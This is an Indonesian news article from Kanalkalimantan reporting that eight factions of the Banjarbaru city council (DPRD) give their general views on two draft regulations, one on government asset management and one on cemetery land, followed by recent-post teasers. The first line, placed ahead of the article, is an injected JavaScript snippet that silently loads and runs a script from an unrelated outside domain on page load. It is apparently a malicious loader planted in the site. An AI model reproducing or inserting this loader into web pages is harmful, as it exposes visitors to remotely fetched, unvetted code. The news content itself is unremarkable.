(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Delapan Fraksi DPRD Banjarbaru Respon Dua Raperda, Lahan Permakaman Perlu Aturan


KANALKALIMANTAN. COM, BANJARBARU – Fraksi-Fraksi di DPRD Kota Banjarbaru mengapresiasi dua usulan Raperda oleh pemerintah kota yaitu Raperda tentang Pedoman Pengelolan Barang Milik Pemerintah dan Raperda tentang Pengelolaan Permakaman.

Delapan Fraksi di DPRD Kota Bajarbaru yaitu Fraksi Golkar, Fraksi Gerindra, Fraksi PDIP, Fraksi Nasdem, Fraksi PKB, Fraksi PPP, Fraksi Demokrat dan Fraksi PAN PKS.

Apresiasi positif itu disampaikan masing-masing juru bicara fraksi dalam sidang paripurna DPRD Kota Banjarbaru dalam agenda pandangan umum terhadap dua Raperda, Kamis (6/3/2025).

Fraksi Golkar diwakili Siska Monalisa, Fraksi Gerindra oleh Syamsuri, Fraksi PDIP oleh Muhammad Qomalludin, Fraksi Nasdem disampaikan Fauzan Noor, Fraksi Demokrat diwakili M Siregar ST, Fraksi PPP melalui Emir Nahl Khan, Fraksi PKB melalui Sukardi, dan Fraksi PAN PKS disampaikan Nurkhalis Anshari.

Baca juga: Berbuka Puasa di Pemangkih Baru, Ini Harapan Bupati Banjar

Ketua DPRD Kota Banjarbaru, Gusti Rizky Sukma Iskandar Putera mengatakan, secara mendasar fraksi-fraksi setuju dengan dua usulan Raperda tersebut untuk dibahas lebih lanjut hingga menjadi Perda.

“Tentunya setelah pandangan umum ini disampaikan dan semua menyetujui untuk dibahas, maka akan dilanjutkan dalam tahap pembahasan melalui Pansus,” jelasnya.

Juru Bicara Fraksi Nasdem, Fauzan Noor menyebutkan bahwa Fraksi Nasdem cukup mengapresiasi usulan dua Raperda tersebut.

“Tentunya ada beberapa catatan yang kami berikan, seperti Raperda pengelolaan aset agar kedepan bisa bermanfaat dan memberilan sumbangsih PAD. Pada dasarnya Fraksi Nasdem sangat mendukung dua Raperda yang diajukan tersebut,” jelasnya.

Baca juga: Penguatan Ekonomi Masyarakat di Desa Bararawa dan Sapala Melalui Keramba Ikan

Juru bicara Fraksi PAN PKS, Nurkhalis Anshari manyatakan bahwa mereka mengapresiasi dua Raperda tersebut.

“Raperda pengelolaan permakaman, kami memandang salah satu persoalan yang dihadapi banyak daerah termasuk Kota Banjarbaru adalah ketersediaan lahan pemakaman yang semakin terbatas. Oleh karena itu fraksi kami menekankan pentingnya perencanaan jangka panjang dalam penyediaan lahan permakaman termasuk kajian terhadap kebutuhan lahan,” katanya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

15 jam ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

1 hari ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

1 hari ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

1 hari ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

2 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.